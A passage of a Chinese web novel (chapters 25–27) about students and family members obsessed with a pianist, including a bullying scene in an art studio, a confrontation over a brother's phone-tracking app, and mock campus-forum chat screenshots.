灯光为那清瘦的身影镀上一层柔和的光晕,程澈下意识捂住心口,感觉自己的心跳快得几乎要冲出胸腔。 他看着朗月现站在聚光灯下的身影,只觉得他们之间的距离越来越远。他想要靠近,想要触碰,他的手指不自觉地蜷缩,仿佛想要抓住什么。 那个人的光芒像玻璃碴子扎进视网膜,让程澈看清自己磨旧的牛仔裤膝盖处,还沾着下午搬运音箱时蹭上的墙灰。当最后一个音符消散在空气中,程澈觉得自己蜷缩在座椅里的姿态,活像被圣光灼伤的吸血鬼。 有些人生来就是天潢贵胄,而有些人一生都在追寻他永远也求而不得的东西。 但一个在沙漠中近乎干渴致死的旅人,那株泌出水分的娇嫩玫瑰只在咫尺之间。他必须得摄取些什么,才能继续浑浑噩噩地活在这个世间,朗月现便是能救他的春风,他的甘露,他的玫瑰,他的宝石水晶糖。 程澈知道自己不配,他实在是不够好,尤其是在那个人的光芒下,自己太暗淡。像是童年那颗梦寐以求的宝石糖果被长大后的他狼狈地偷走,舍不得咬碎,囫囵吞下,水晶糖衣在食道上刮出淡红色锈迹,所有的自卑和胆怯都卡住,在喉咙里碎成结晶碎渣。 可即便如此,还是无法控制自己不去爱他,不去奢求。这种爱让他痛苦,让他自卑,却也让他感到前所未有的活着。 即使是一场梦,在梦醒之前,他都有权利去爱他。 灯光在黑白琴键上蜿蜒成隐秘的银河,将这一刻永远定格。朗月现做到了他的承诺,* 完美的托举了盛衍的所有失误,完成一次完美的演出。 盛衍起身同朗月现一起鞠躬致谢,右手臂长时间没有绷带支撑的自主弯折,疼的他后背都被冷汗浸湿。 但是那些都不重要了,他感觉自己的生理上正在发生微妙的变化,只要朗月现在他身边时,身体中的脉络就骤然收缩,牵扯着心脏在胸腔剧烈震颤。 他感觉胸腔里有什么东西在疯狂生长,如同春日的藤蔓,缠绕着每一根血管。 第二十五章 你比我更清楚,我们都不在他眼里 C大美术系B栋独立画室。 这件画室有些年头了, 位于C大人迹罕至的老校区,但是因为距离学校东门很近,方便下课出去兼职, 宋煜通常会选择来到老画室作画。 老校区的红砖画室隐在梧桐树影深处,窗框剥落的蓝漆像一块块淤青。月光被树杈切割成碎玻璃, 斜插在蒙着防尘布的画板上。 董其铭拿着宋煜的手机回完程澈的信息,将手机随便扔到一边,他斜倚画室中的石膏雕像,把玩着打火机,火苗在他冷笑的嘴角投下摇晃的阴影:“知道我为什么找你吗?” 今晚学校所有的学生基本都会去大礼堂看晚会,学校各处静悄悄的空荡, 宋煜被董其铭堵在空无一人的教室,被跟着董其铭的三个男生逼至角落, 领口沾着泼溅的颜料渍。 他有些瑟缩的站着,眼看着自己最后的一点被救的希望被董其铭随意的碾碎,他默默地垂下了头,颇有些认命的一言不发。 “不知道吗?”董其铭语气轻佻, 透着一股明显的恶意:“那你还记得前几天舞台上面的钢架是谁负责检查的吗?” 宋煜放在身体两侧的手指突然一抖,他抬起眼不可置信的望过去,然而董其铭的表情和话语斩断了他所有的希冀。 “你负责检查的钢架出了问题,钢管断裂掉落甚至差点砸伤了朗月现和学长……” 宋煜最初还在瑟缩,在听到董其铭的话之后突然爆起,围着他的几个人差点按不住他,宋煜拼命挣扎,死死的直视董其铭,露出一副董其铭从未在他脸上看到过的愤恨又慌乱地表情:“阿月他……阿月他出事了吗!阿月受伤了吗?!他怎么样了?” 董其铭万分厌恶的盯了他一眼,看着这只恶心的卑贱蝼蚁胆敢露出这幅可悲可恶的样子去玷污那个人, 董其铭的皮鞋碾过满地揉皱的素描纸,鞋跟粘着一片干涸的橙红水粉,他走近到宋煜的面前,这个卑贱的家伙竟然还敢死死的瞪着自己。 董其铭露出一个残忍的笑,他扯过宋煜,在他耳边低语:“他如果真的因为你受了伤,你现在就没命还在这跟我犯浑了。” 宋煜毫不畏惧,狠狠地低吼回去:“我没有!我好好检查过了,明明是你!是你差点让阿月受伤!” 董其铭眉头不受控的一跳,心脏被这句话刺激的猛然狂颤。 宋煜刚好说中了他最后悔的一件事,他安排人拧松钢架螺丝只为了陷害被安排负责去检查钢架的宋煜,完全没想到朗月现会突然出现在现场,还冲到舞台上救人。 董其铭想起那三米长的钢管擦着朗月现的身边砸下去,他就后怕的心脏狂跳,冷汗直流。 董其铭被说中心事,恼羞成怒的从几人的包围中一把揪出宋煜,恶狠狠道:“你他妈在胡说些什么!” 他拽住宋煜的头发撞向画架,画架的防尘布骤然掉落。 傍晚的画室,石膏像在月光中泛着青白,松节油气味混着董其铭袖口的龙涎香。宋煜跪坐在地上,头上蒙着防尘布,他突然意识到他们能看到什么,整个人都僵硬的坐在了地板上。 防尘布掉落后的画板上是一张未完成的复古油画:朗月现的侧影嵌在哥特式窗框构成的十字中,睫毛垂落的弧度与教堂彩窗天使如出一辙,他身着白色的长袍,宛如圣洁的圣徒。 董其铭瞳孔紧缩,望着面前的这幅画,他突然想起来他偷拍的那张照片,现在还在他的衬衣内袋里妥帖地放在他心口。 董其铭逃了半节课出来抽烟,美术系的教学楼在老校区,平时很少会有人路过,他刚把烟从烟盒中磕出来,随意抬起眼,却看见一个白色身影正在与他平行的教学楼另一边安静伫立。 暮色黄昏下,风卷着栾树火红的花瓣掠过朗月现的白色衬衫衣角,他闲倚在栏杆上,戴着耳机眺望远方,远处球场传来模糊的欢呼声,董其铭怔住,那个人睫毛上坠着的夕阳碎金,比手中打火机燃起的火苗更灼人。 直到朗月现转身离开,董其铭碾灭烟头时烫伤了掌心,却盯着他背影直到暮色吞没最后一寸白衣衣角。 画室中一片寂静,董其铭被宋煜挣扎着起身想要扑过来遮住画板的动作惊醒,他只用一只手就轻松的制住了宋煜,接着便暴怒低喝:“都出去!” 画室内只剩下了董其铭和宋煜,宋煜挣扎时踢翻的钛白颜料桶漫过地板,像一条奶白的河,沾湿了他的裤子和董其铭的鞋底。 董其铭的拇指狠狠蹭过画中人的唇角,油彩晕染成一道伤口,他突然开口低笑出声:“你也配肖想他的脸?” 董其铭指尖划过画纸,突然攥住宋煜手腕按在调色板上,钴蓝与赭石炸开毒花:“你也配画他?” 画纸撕裂声像一声呜咽,他拾起一片画中人的眼睛部位,贴近宋煜颤抖的眼睑:“看清楚了,这是你该肖想的东西吗?” 破碎画纸随风粘在窗玻璃上,宛如被钉住的蝴蝶。宋煜喉结滚动着吞咽痛呼,他拼了命的挣动,喉间发出小兽般凄厉的低吼:“别碰我的画!”画纸撕裂的声音落在他心中的疼痛比腕骨碎裂更清醒。 董其铭同样报以愤怒的低吼:“你以为他救你是怜悯?他连看垃圾的眼神都像在施舍!” 宋煜的后脑被重重按进未干的油画,画布上朗月现的肖像正被他的脸压得变形。亚麻布吸饱松节油的刺鼻气味灌入鼻腔,他在混沌中听见董其铭愤怒的笑声:“多妙啊,你不是做了梦都想要肖想他吗,你现在成了他的一部分……烂在颜料里的部分。” 董其铭撕碎画布塞进宋煜口中,被油画浸染变硬的画布边缘刮破他的牙龈。 “吞下去。”指尖碾着他的喉结,“让你这可笑的奢望在你肚子里烂成泥。” 董其铭俯下身子,在宋煜耳边低语:“知道他为什么救你吗?” 他忽然抓起一支油画刮刀,刀尖沿着宋煜脊椎下滑,“因为你像条被踹断肋骨的可怜野狗……而他身边围着最多的就是野狗。” 宋煜蜷缩着干呕,却从齿缝漏出一声笑,染血的碎画布中,朗月现的眼睛依然完整,在月光下灼灼如星火。 当刮刀即将刺入肩胛时,宋煜突然反肘击中董其铭的胃部。他踉跄着抓起石膏像的断臂,将对方逼至窗边。玻璃震裂的蛛网纹中,宋煜的脸被月光割成碎片: “即使是条野狗,我至少入了他的眼,而你呢?” “你闻到了吗?松节油根本盖不住你身上的腐臭……像阴沟里泡胀的老鼠,你对他来说只是只垃圾都不如的老鼠!” 董其铭脸色骤然黑了下来,他眼中闪着骇人的凶光,猛地高举拳头砸向宋煜,他暴怒挥拳,但这次宋煜没有惨叫,反而低笑出声。 宋煜反应很快的错身躲开,董其铭一拳砸到了他背后的画架,穿透了绷紧的画布。宋煜嗤笑的看着他道:“你比我更清楚,我们都在泥里……区别是我敢直视月亮,而你只敢舔舐他的倒影。” 董其铭腕间的佛珠突然崩散,檀木珠子坠地时弹起,迎着透亮的月光,那佛珠上每一颗都刻着极小“月”字,如同无数只嘲讽的眼珠。 宋煜踩住一颗佛珠,满地的颜料沾满鞋底。他低头看着正在满地慌乱地捡起佛珠的董其铭,蘸了嘴角的血,随意地抹在手背上,轻声开口: “如果他会看到这个,你说,他会先怜悯你……还是恶心你?” 董其铭直起身子,喘着粗气后退,踩碎了一支油画笔。孔雀绿的颜料喷溅上裤脚,像一条缠住他脚踝的毒蛇。而宋煜的笑声如同一把生锈的琴弦,割破了被月光照的大亮的画室。 “你这么厌恶我,觉得我配不上肖想他,”宋煜将目光转向窗外的弦月,“说我的画恶心……却盯着画上他的眼睛看了十分钟。” “闭嘴!你根本不懂——” “你比我更清楚,我们都不在他眼里。” 这场可笑又可悲的戏码让施虐者与受害者在疼痛中共生,月光成为剖开灵魂的手术灯,暴露出两人皆是“月亮”的囚徒—— 朗月现踩碎一地的栾树红花,黑西装下摆还沾着礼堂金箔纸的碎屑。 朗月现很少做如此露脸的事,他太知道自己有多漂亮了,又特别怕麻烦,他总有一种过了今晚,之后的日子很难再如以前那般风平浪静下去的预感。晚会结束后,他特地绕开散场的人群,专挑了那条盛衍带他走过的罕为人知的小道。 树影里忽然传来枯枝断裂的脆响。 他顿住脚步,鞋尖抵住片将坠未坠的红花。十米开外的青石灯柱下,朗秉白的肩头落满栾树花,像是已经站成了雕塑。那人惯常梳得齐整的背头散下几绺,被盛夏的晚风撩着扫过眼尾,那里泛着不正常的潮红。 一朵栾树花打着旋儿卡进青砖缝,恰停在两人中间。月光被枝桠切碎,斑驳地淋在朗秉白黑色的衬衫身上。朗月现这才惊觉,哥哥今天穿的竟然是常服。 朗月现确实没想到会在这个时候突然和朗秉白相遇,对方颓唐的模样与往日的沉稳形象大相径庭,朗月现甚至看到他哥的眼眶是湿红的,他将一只手背在身后,垂在身侧的左手不知为何包着好几处创可贴,也在轻微的发着颤抖。 夜风卷着远处礼堂的《友谊地久天长》飘过来,变调的旋律里,他听见很轻的吸气声。朗秉白往前挪了半步,鞋底碾碎满地栾花,却在对上弟弟视线的瞬间僵在原地。 “小月……”那声沙哑的哽咽散在风里,惊飞了栖在栾树上的鸟雀。 第二十六章 你们朗家养的好狗,倒是学会护食了 皮鞋敲在地面上的碎响在寂静中格外清晰, 朗月现忽然笑出了声。 他摘下左耳垂上没来得及卸的碎钻耳夹,金属冷光在指尖转出一弧寒芒:“哟,怎么找过来了?” 看着朗月现出现在自己视线中的那一瞬, 朗秉白听见自己脊椎发出细微的咔哒声,仿佛生锈的发条突然绷紧, 朗月现走向自己的动作像是拆成二十四帧慢镜头,他连眼睛都不舍得眨一下。 朗秉白整个人不受控地晃了晃,背后路灯在他脸上投下光线昏暗的光影:“你总不接电话……前两天我……” “哇哦,所以这次是真人GPS登场?”少年嘴角挂着戏谑的笑,往前靠近了两步,“让我猜猜, ”他故意拉长尾音,挑着眉梢看过去, 指尖对着自己慢慢划出一道痕迹,“这次是在我身上哪个位置安装了追踪器?耳朵,胸口,还是胃里?” 少年逆光而立的身影让他的瞳孔剧烈收缩, 喉间刹那间泛起因为极度想念带来的酸涩哽咽感。朗秉白几乎是贪婪的盯着弟弟的脸,看着对方随性敞开的领口处随呼吸起伏的锁骨。 “是爸说,你今天有晚会表演,哥怕你不愿意让哥来,悄悄来的。”朗秉白忽然开口,用力咽下喉间泛起苦涩地味道,他看着走到面前的朗月现,强行挪开粘在弟弟脸上的目光,攥紧双拳才勉强不让自己冲动地将人狠狠搂进怀中。 朗秉白站在礼堂的最后一排,目光穿过层层叠叠的人群, 落在舞台中央那个因为过度想念,数次出现在自己梦中的身影上。 礼堂里一片寂静,弟弟指尖流淌的琴声顺着耳道钻进心脏,朗秉白的心随着琴声起伏,眼眶竟有些发热。 他记得这首曲子,那时候朗月现刚刚练习钢琴不久,总是把这首曲子弹得磕磕绊绊,尾音里还掺着变调的抽噎,每次弹到一半就会扑到他怀里哭:“哥,我不想和你分开。” 朗秉白心里明知道这是小孩想逃避练琴的借口,可还是心疼的手足无措,每次都顺着弟弟的心意的将他抱离琴房,为此不知道挨了朗父多少次打。 但是下一次再看到弟弟跟自己委屈的撇撇小嘴巴,他还是会一次又一次地不长记性。即使被打的整个后背都皮开肉绽,只能趴在床上动弹不得,但是看到弟弟红着一双眼睛,轻声细语的问他疼不疼,朗秉白就觉得太值了,再挨几顿都没关系。 而现在那些破碎的颤音被少年熟练的指尖修葺得光滑冰冷,朗秉白的喉结上下滚动,齿尖泛起铁锈味,他看着在场所有人的目光都紧紧的跟随着他的弟弟,仿佛有人往他舌根塞了把浸过柠檬汁的图钉。 舞台顶灯在他弟弟长的惊人的睫毛下投出扇形的阴影,那双漂亮的眼睛上次认真地看着他,还是对着他用极其冰冷的声音说出:“马上把你的软件删掉。”的时候,从那之后就朗月现再也没有允许他的靠近。 结束的高音突然刺破空气,朗秉白脊椎窜过一阵细密的战栗。掌声潮水般响起时,他本能的后退半步,生怕弟弟扫过观众的目光会像陌生人般掠过自己。 他后槽牙咬得太紧,太阳穴突突跳动让他心里乱成一团。朗秉白几乎是慌乱的逃离了大礼堂,站在外面被月光和冷风浇灌,才重新找回了自己的呼吸。 “哥猜你不喜欢人多的场景,觉得你会走这条小路,所以在想试试能不能在这等到你,然后……” 话音未落,就被/干脆地打断了。 “让让。”朗月现用手抚开垂落的栾树花枝,草莓糖在齿间咬得咔咔响,“追踪狂现在改行当路障了?” 朗秉白喉结滚动着咽下呜咽,左手从衣服口袋中掏出手机,打开屏幕展示给朗月现看,他抖着手点开程序卸载界面,带着示好的声音小声道:“已经都删除了” “停停停,追踪狂先生。”朗月现顺势将糖纸塞进他哥口袋,他突然倾身逼近,睫毛在彼此呼吸间颤动,“你现在这又是在做什么呢,表演示弱?” 朗秉白抬起通红的一双眼看着他,嘴唇颤抖了几下:“哥想你,你一直不回哥的电话,哥担心你……” “这么担心的话,”朗月现戏谑道:“继续给我装个追踪仪啊。” 突然揪住他的衣服往前一拽:“或者像栓狗那样给我套个项圈?” 朗秉白在拉扯中向前踉跄半步,被迫将那幅狼狈的样子完全展露在朗月现面前:“小月……” 朗月现眯起眼睛仔细打量了一下他哥,指尖慢慢戳进朗秉白锁骨凹陷处,“几天不见瘦成这样,朗家不给你饭吃?” 他眼睛往下一撇,看着朗秉白包了不少创可贴的左手,语焉不详的问道:“手怎么了?” “……哥给你做了你喜欢吃的草莓蛋糕。”朗秉白低着头,终于将背在身后的右手拿了出来,那是一个包装精美的草莓蛋糕:“哥也是第一次做蛋糕,不太熟练,做坏了几次……” 空气中弥漫着从盒子中飘出的浅浅的奶油香味,朗秉白看着自己多次调整的伤口位置,确保伸出手就能让朗月现看见自己伤口处渗出的血痕被袖口半遮。 朗月现的视线果然盯在右手那圈渗血的纱布上,朗秉白在弟弟看不见的地方嘴角微微扬起一个微妙的弧度。 染血的纱布蹭过黑色袖口,在衣服表面印出一圈深色,这是比语言更直白的求饶。 从朗秉白低下头的角度看去,朗月现的睫毛在路灯的暖光下抖落星辰,不多时,朗月现轻声一笑:“郎总现在苦情戏演的倒是熟练。” 少年突然旋身逼近,西装袖口残留的玫瑰香气蹭过朗秉白领口:“你真该看看你现在这幅样子,”他故意拖长尾音,指腹抹过对方发青的眼睑,“像条被主人遗弃的杜宾犬。” 小道中不远处的栾树阴影中,周闻铮倚着树干,指节无意识叩击着朗月现爱喝的冰汽水。当听到朗月现用戏谑的语气对朗秉白说出“追踪狂”三个字时,易拉罐突然被捏凹了一块。 指间汽水罐凝结的水珠渗进指缝,周闻铮警告自己,今天是他求着老头给他放出来的第一天,就为了来看朗月现的晚会演出,忍住,不能这么快就再惹事。 他默念着,舌尖顶住上颚,汗水顺着脖颈向下滑进黑色无袖T恤中,却在胸口撞上滚烫的怒意。 身后响起清晰地踩踏树叶的碎响,前方贴的很近的两个人分开些许,同时向后望去。 周闻铮的球鞋碾碎满地凋落的栾树花,他攥着双拳,路灯昏暗的幽光照亮他暴怒的眉骨。他只觉得之前替朗月现调试反追踪程序时被狠狠扼住的脖颈此刻还在压缩着自己呼吸,他盯着几米外那个站在朗月现面前那个道貌岸然的身影,后槽牙咬得发酸。 栾树花在夜风中打着旋儿,擦过周闻铮紧绷的下颌。周闻铮将手中已经被捏至变形的汽水重重砸在树干上,汽水炸开声惊飞了栖在树梢的夜鸟。 “是你?”这个字眼从齿缝挤出来时,朗月现正慵懒地倚着路灯杆转打火机。金属盖开合的脆响突然停了,他掀起眼皮,看到周闻铮额角暴起的青筋在惨白路灯下突突跳动。 周闻铮上前一把夺过朗秉白拿在手中的手机,屏幕蓝光在指节发白的拳头里明明灭灭,“就是你他妈在他手机装定位!” 朗秉白一改刚刚在朗月现面前的颓丧状态,慢条斯理地的整理着袖口,遮住为了在弟弟面前示弱露出的伤痕,袖扣在暗处泛着冷硬的金属光泽。 “周少爷倒是对我弟弟的手机了如指掌。”他冷漠看过去的眼尾微微上挑,“怎么?你们已经亲密到可以互查隐私了?” 他伸手要拿回手机,周闻铮猛地扬手,手机砸在栾树树干上迸出裂痕。 周闻铮横插进他们两人之间,一把揪住朗秉白熨烫平整的衬衫前襟,嗅到雪松香水中混着若有似无的血腥气,两个身影在满地碎金般的灯光里投下扭曲的影子。 “你他妈疯了是不是?”周闻铮的指节抵在朗秉白喉结处,“在弟弟手机装追踪器?你他妈是不是心理变态?” “你把他当电子宠物?”周闻铮的虎口卡住朗秉白喉结,“要不要给他脚踝再加个GPS?” 朗秉白忽然扣住他的手腕往反关节一折,将周闻铮逼退半步:“你父亲同朗家的建材合同,签约日期是在下周三吧?” 朗秉白松开他的手,慢条斯理地抚平领口皱褶,眼神中带着嘲弄地看着周闻铮充血的眼瞳,“我以为周少爷现在应该忙着帮你父亲准备签约晚会,毕竟把你放出来还是很冒险的” “那合同的违约金够买你周家少爷三条命。” 拳风扫过落叶的刹那,朗月现的银质打火机擦着周闻铮耳际飞过,在石墙上迸出火星。 “周闻铮。” 朗月现一声不温不火的轻喝,像是突然扯住了周闻铮脖子上那条无形的项圈。 远处传来学生们的喧哗,而这条小径静得能听见栾树花在月光下被吹散的声音。路灯突然发出电流过载的滋滋声,周闻铮的怒吼卡在喉咙里。他别过脸看见朗月现平静看过来时睫毛投下的阴影,眼中带着被主人强行遏制住的委屈不忿,垂在身侧的拳头开始不受控地发抖。 朗秉白在朗月现骤然开口时向他那看了一眼,神情晦暗不明。他忽然低笑出声,弯腰拾起摔落在地的手机,蛛网裂痕在屏幕上绽开。 “周少爷,周家上周续约的朗氏集团最新研发的智能仓储系统。”他对着月光端详破碎的屏幕,像在欣赏一件艺术品,“就在我这个手机中有最新的运行模板,可以和周家的系统相连,如果我打开,你猜监控室里会有多少双眼睛,正看着你此刻的英勇表演?” 空气瞬间凝固。周闻铮的瞳孔猛地收缩,他看见朗秉白用拇指抹去屏幕碎屑,夜风突然裹着凉意钻进衣领。他的怒气和声音突然卡在喉咙,额角青筋突突跳动。 “你以为自己算什么东西?”朗秉白忽然逼近半步,声音淬着冰渣,身上那股冰冷雪松的气息压得人喘不过气,“借着你父亲的威势,在我面前装情圣?” 周闻铮突然暴起将朗秉白撞向树干,栾树花簌簌砸在三人肩头,周闻铮的拳头离朗秉白的鼻梁还剩半寸时,朗月现突然出手攥住他的腕表。蓝宝石玻璃表面裂纹蛛网般蔓延。 朗秉白的格斗技巧非常厉害,常年不间断地自主训练,朗月现在搏击中出色的反应力就是朗秉白教给他的。 可他此刻迎着周闻铮的暴怒挥拳却躲也不躲,任由其发泄一般的干站着不动,目光还似有似无的望向朗月现的方向。朗月现看情况不对,只能出手试图将此刻都表现得非常不正常的两人分开。 风突然大起来,卷着朗月现敞开的西装外套猎猎作响。他扯开纠缠的两人,插进两人中间,后颈碎发扫过周闻铮青筋暴起的手背,朗月现面对着朗秉白,蹙着眉,表情似有些不解,声音带着不耐地寒意:“够了。” 朗秉白看到弟弟的动作,身体显而易见的放松下来,却依然没有停止他故意激怒周闻铮的行为,他的语气毫不客气,嘲讽意味十足道:“听说周董最近在查肝硬化?提醒他少生气。” 他面不改色的瞥向周闻铮,唇角勾起一个朗月现从没在朗秉白脸上看到过的如此明显的讥讽笑意:“毕竟有这么个会狐假虎威的好儿子,以后少不了操心。” 这话完全就是赤裸裸的挑衅了,暴起的肌肉在黑色T恤下剧烈起伏,周闻铮喉结滚动着吞咽下怒喝。 朗月现的后背几乎是紧贴着周闻铮的,他清晰的感觉到周闻铮因为暴怒而逐渐变硬的肌肉,朗月现以防周闻铮突然暴走,反手将他往后推了一把,拧过身警告的看了他一眼。 周闻铮退后半步撞上青铜路灯,后腰冰凉的触感让他清醒过来。他盯着朗月现随呼吸颤动的后颈发尾,粉白的后颈滚过一颗饱满的汗珠,周闻铮脑子一热,条件反射一般的伸出手想为他拭去。 周闻铮手指正要碰上朗月现露出的后颈,朗秉白突然在前方伸出手猛地钳住他手腕,他眼中折射出冰凌似的光:“周家的教养就是随便碰别人的……弟弟吗?” 周闻铮被死死锁住,眯起了眼睛,他意味深长的看着朗秉白,忽然地笑起来,后槽牙咬得咯咯作响:“你们朗家养的好狗……倒是学会护食了。” 他俯下身凑近朗月现耳边,却抬眼紧盯着朗秉白扯出狰狞的笑:“提醒你一句话,你们朗家的狗链子,拴不住会咬人的狗。” 朗秉白闻言脸色骤变,眸中翻涌着难以掩饰的惊愕,仿佛被戳中了心底深处最不容许提及的秘事,瞳孔紧缩,脖颈间青筋的跳动忽明忽暗。 他的另一只手猛地攥住朗月现的手腕,像是抓住了能牵制自己的理智,忽然掀起眼帘,盯住周闻铮,周遭的空气似乎都被这目光淬成了冰渣。 朗秉白带着浓浓怒气的声音莫名发紧: “真该让你父亲看看,他所谓的好儿子,发起疯和街边流浪汉有什么区……” “哥!”朗月现突然提高音量,他不耐得推开两人互相钳制的手,朗秉白退开一步,从裤兜里抽出手帕擦拭钳制过周闻铮的手指,仿佛沾了什么脏东西。 朗月现实在是不明白今晚这两个人到底都发的什么疯,周闻铮也就算了,怎么朗秉白也能这么不冷静。 他又不解又诧异地瞥了他哥一眼,寻思别是这两天没好好吃饭给他饿晕头了。 “再跟踪我就在你咖啡机里装泻药。”朗月现淡淡地开口,朗秉白眼睛一下亮了起来,也不慢条斯理地擦他的手指了,满脸惊喜的就要来拉弟弟的手:“小月…你原谅哥哥了是吗…” 朗月现却倒退了几步躲开了哥哥的动作,朗秉白心中一紧,还没来得及伤心,下一秒却被冰凉的草莓糖抵住舌尖。 朗月现再次将糖纸塞进他哥口袋,挑着眉,表情潇洒的扬了扬下巴,懒洋洋道:“走了。” 周闻铮还杵在旁边,警告意味十足,凶相毕露的盯着朗秉白的动作,目光灼灼,浑身绷紧,像是只要对面敢动,他随时都会不受控的扑上去护主,紧接着却被突如其来的力道拽得一个踉跄。 朗月现一把扯住了周闻铮脖子上的银质项链,周闻铮脖颈被迫前倾,脸上闪过一丝错愕,然而在看清是谁拽着他的时候,目光瞬间软了下来。 朗月现下手不管轻重,后颈被勒出灼烧感,他却放任自己更深地陷进这种疼痛里,没有丝毫反抗。对方手背凸起的青筋擦过他突突跳动的颈动脉,他任由链条更深地咬进皮肉。 当朗月现突然松了力道,他反而下意识追着那点余温贴上去,出了名的小霸王此刻被朗月现用一种略显屈辱的姿态牵着,却心甘情愿,乖顺地跟在他的身后,弓着腰任由对方牵引着,亦步亦趋地消失在僻静小道的尽头。 第二十七章 他看见掌纹中的糖果全部都是玻璃渣 C大校园总论坛 【爆!学生会总群中干部层疑似被新晋校草梦男群体占领!】 以防被扒马甲, 我将高码截图放出来,大家自行分辨。 截图1:xxx(码掉)修改群名为“月现宝宝可爱多赞赞群” 「?」 「?」 「???点错了吧你?改群名称改到学生会总群了?」 「对啊,疯了吗这是, 我给重新改」 xxx(码掉)修改群名为“朗神大长腿究极男神帅照分享群” 「?」 「?」 「???你他妈?」 截图2: 「某些泥塑粉能不能收收味啊,之前论坛发朗神的体育课露腰照, 整个评论区都是‘老婆的细腰杀我’,那么有男人味的性感腹肌你们是一点看不见啊!」 「又来爹味说教,之前月宝捋头发喝水的动图一个个对着那红唇喊‘老婆亲嘴’不是喊的挺起劲的,这时候没见你们谁叫男神了?」 「没错,那评论底下别让我逮着是谁在论坛里发的八百字夸赞老婆绝顶美貌的小作文,小心打脸啊某些人」 「笑死, 那楼迟早要封,一个个喊老婆宝宝喊的这么起劲, 真要让朗神看见,看你们慌不慌」 「也就是朗神不逛论坛,要不就冲现在首页那几个爆贴,不管点开哪个, 人估计都得吓得连夜转学」 「整肃粉人均PUA大师是吧,我们月宝漂亮成那样你们怎么敢跟在后面喊老公的?」 「……倒不如说你们怎么敢喊老婆的,就那宽肩长腿,你们都没看朗神的机车照吗,现在还在首页爆贴,那阳光下会发光的冷白皮,那紧绷的手臂肌肉,那俯下身的身体弧线,那被汗水浸湿的结实腰腹,帅的我当场给救护车充年卡」 「好想坐他的机车后座, 或者开慢点拴着我跑也可以」 「别想趁机当狗,给你鸡贼的,后面排队去!」 截图3: 「你们吵归吵,能不能先把昨晚迎新晚会上朗神的演出录屏先补上,被导师派出去做实验,孩子饿疯了,等着吃饭呢[跪了]」 「叫爸爸,这可是我珍藏的前排视角【视频】」 「艹,太他妈好看了,那光是谁打的?太牛逼了,给我月宝打成神仙了」 「停战三分钟,你们看月神的锁骨中间划过去那颗汗珠,给我舔舔给我舔舔」 「放大第13秒眨眼频率!月神在灯光下抬眼,乌黑的眼珠被照成金子一样的琥珀色,像是满天的金海都融化在他眼睛里」 「宝宝这幅认真的弹琴模样更帅了,我的心都融化了」 「我不允许任何人忤逆这张脸」 「都让开!本妈粉要无差别扫射了!你们这群混蛋只能看看我宝的美貌,谁再馋他身子我就要急眼了!」 「此男成神」 截图4: 「……你们都疯了吗?我打开手机看到置顶群名还以为自己微信被黑了」 「一个两个的真以为这是自己家庭群了?说话没个忌惮,C大学生会让你们当成追星组织了?」 「各年级部门管理员抓紧时间和相关人员挨个谈话,赶紧都给我踢出去!」 「估计是不太好执行,也踢不出去,毕竟能修改群名* 称的也只有各个干部层管理员」 「……」 「不是挺好的嘛,大家畅所欲言,老齐你也不要管得太多了,学生会总群也没有必要那么迂腐,谁能忍住不喜欢美丽的事物呢[笑]」 「盛神说的对啊,会长你也消消气,气性这么大是不是因为还没看到朗神的视频和照片,来我私发给你」 「……」 【该群聊已被禁言】 【全员禁言中】 —— 自习室内,宋煜指尖轻敲着尚未熄灭的手机屏幕,全程围观群聊被禁言的过程,笑着放下手机。 而当视线掠过对面人轮廓清隽的侧脸时,他原本舒展的眉眼忽然凝滞,像是被某种无形之物刺中,连唇畔未及褪去的笑意都不自觉变淡了许多。 “接下来一起去吃午饭吗?”温润声线破开凝滞的空气,程澈抬头时看见的已是宋煜标志性的明朗笑容。 “抱歉啊。”程澈收拾书本的动作顿了顿,帆布包肩带在掌心勒出淡红痕迹,“下午的家教要提前准备教案,今天要早回宿舍,给阿月的买的甜品要趁热送回去。” 他摸出手机时腕表折射出冷光,十一点二十七分,足够绕道城西那家网红甜品店,阿月上周提过说好吃的草莓挞,四点整限量出炉。 宋煜慢慢站起身,阳光穿过他垂落的发丝,在眼睑投下意味不明的阴影。“你是在炫耀吗?”喉结上下滚动着挤出这句话,低哑声线裹着冰碴。 “什么?”程澈茫然回头,目光仍黏在导航软件估算的时间线上。当他终于意识到异常时,转过头看见宋煜静静站在原地一步未动的看着他。 程澈不解的扬声问他怎么了,宋煜只是慢慢地摇了摇头,示意程澈先走。程澈又看了眼手机,害怕误了时间,只能远远地摆了摆手,快步离开。 宋煜注视着那个渐行渐远的背影,解锁的手机屏幕幽光映亮他唇角扭曲的弧度。屏幕上显示着一条刚刚发送出去的消息。 宋煜用指尖摩挲着手机屏幕,脸上带着一抹不易察觉的阴冷笑意,低声喃喃:“程澈,你以为你能一直这么幸运吗?”—— “三食堂的牛肉手擀面,窗口大爷总给我多浇一勺辣油,你上次说胃疼,这次换成骨汤底?” 程澈听着宋煜说道,微微皱着眉看了看时间:“现在去?时间恐怕不够,我下午课前要先做好试验。” “不会耽误的,穿过西区后墙,七分钟,很近的。” 程澈沉默片刻,想到昨天因为兼职就拒绝了宋煜的邀请,心中略感歉意,思考一会儿还是答应下来。 两人走在教学楼后林荫小道上,阳光透过树叶洒下斑驳的光影。正是午后,一墙之隔就是学生们吵闹的喧哗声。宋煜伸手拂开垂落的栾树枝叶,口中哼着的曲调在听到前方传来打火机盖清脆的金属撞击声时戛然而止。 程澈和宋煜的脚步同时停了下来,小道的中央,董其铭斜倚在锈迹斑斑的消防栓上,手中不断开合着打火机盖,黑色马丁靴碾着满地栾树花叶,和他的几个同伴或站或坐,堵住了去路。 看清来人,董其铭歪着头,“噌”的一声将口中叼着的香烟点着,目光在程澈和宋煜身上扫过,嘴角勾起一抹轻蔑的笑容,语气中带着几分挑衅:“哟,真是巧啊,没想到在这儿碰到你们。” 程澈抬起头,目光平静地与董其铭对视,没有回应。他知道董其铭那笑容背后的意思,无非是想找茬。他不想惹事,拉着宋煜转头就想走。 “我劝你最好站住,程澈。” 董其铭故意拉长了语调,声音里带着明显的嘲讽。 他顿了顿,接下来的话中毫不掩饰的透出明显地威胁:“尤其是现在,你父母在董家公司工作的情况下。” 程澈往前迈步的动作硬生生停下,他缓缓转过身,眸中波动明显,带着些许惊异与茫然。 他在宋煜和董其铭纠缠不清的时候就意识到董家不是好相与的,离开家之前特地三令五申,不要与董家有任何瓜葛。 程澈深吸了一口气,耳鸣般听见血液冲刷太阳穴的声音,父母一直很听自己的话,他们怎么可能还会去董家的公司上班呢? 董其铭扬起手机,屏幕上是程澈母亲的银行入账通知截图,数额大得异常,转账备注栏赫然标着“董氏集团员工福利”。 